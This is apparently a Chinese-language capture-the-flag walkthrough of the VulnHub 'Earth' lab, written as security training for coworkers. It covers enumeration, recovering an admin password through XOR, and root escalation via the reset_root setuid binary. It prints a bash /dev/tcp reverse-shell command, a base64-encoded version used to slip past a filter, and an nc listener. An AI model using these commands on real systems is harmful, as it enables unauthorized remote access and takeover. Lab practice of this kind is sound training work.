导语

给公司的同事们做个小培训,用当初激发我对网络安全兴趣的方式来激活大家的兴趣吧

来自https://www.vulnhub.com/entry/the-planets-earth,755/

earth

首先发现

1681114583174

1681114567603

开启了22 80 443,分别是ssh、http和https服务,貌似都没啥东西,在浏览器打开看看。

1681115495563

1681115774953

看到有个DNS解析,于是写进hosts

1681116160975

再访问,发现可以访问了。

1681116194865

1681116134381

同时看看terratest

1681116255380

1681116277731

发现test site,稍微记一下,估计有问题。

扫描目录

1681116973644

1681116988909

我一般扫勾八和dirsearch的俩字典就到头了,如果你闲也可以在扫一个御剑的,或者你自己组一个好字典都行

可以看到有admin,有admin/login,有robots

1681117514464

没登录的admin会提示到这里

1681117568908

testingnotes是一个需要关注的东西,经过尝试,是testingnotes.txt

1681117682760

说是,用异或来当加密算法,应该和RSA差不多安全(?)

testdata.txt被用来测试加密

terra是admin portal的用户名

于是看看testdata.txt

1681117867622

所以应该这一串xor密钥得到了我们在开头显示的那些东西

给他再与原文异或,即可得到密钥

1681119045145

回去用terra/earthclimatechangebad4humans登录,是一个命令执行

1681119304271

本地nc,写一个反弹shell的

bash -c 'exec bash -i &>/dev/tcp/192.168.77.140/8888 0>&1'
  • bash -i 代表在本地打开一个bash。
  • >& 后面跟上 /dev/tcp/ip/port 这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。
  • /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接。
  • 在该命令后面加上 0>&1 ,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了 /dev/tcp/ip/port 这个文件,也就是远程,那么标准输入也就重定向到了远程。

这里会显示

1681120380542

用base64绕过

1681121850491

同时在本地

nc -nlvp 8888

然后在web界面输入

echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguNzcuMTQwLzg4ODggMD4mMQo= | base64 -d | bash

1681121989172

这里我们就获得了一个webshell,权限等级为48。接下来考虑提权,先搜一下有root权限且setuid的

1681122303940

一眼盯侦,有个reset_root。直接cat一下看是不是shell脚本,发现并不是

1681122458773

strings看一眼,发现有

1681122623790

看来是改root密码的

使用ltrace来跟踪库函数调用

1681123986094

access("/dev/shm/kHgTFI5G", 0)通过查函数,是判断这几个是否存在

所以就给他都创建了,再执行reset_root即可修改root密码

1681124174583

1681124205090

1681124231711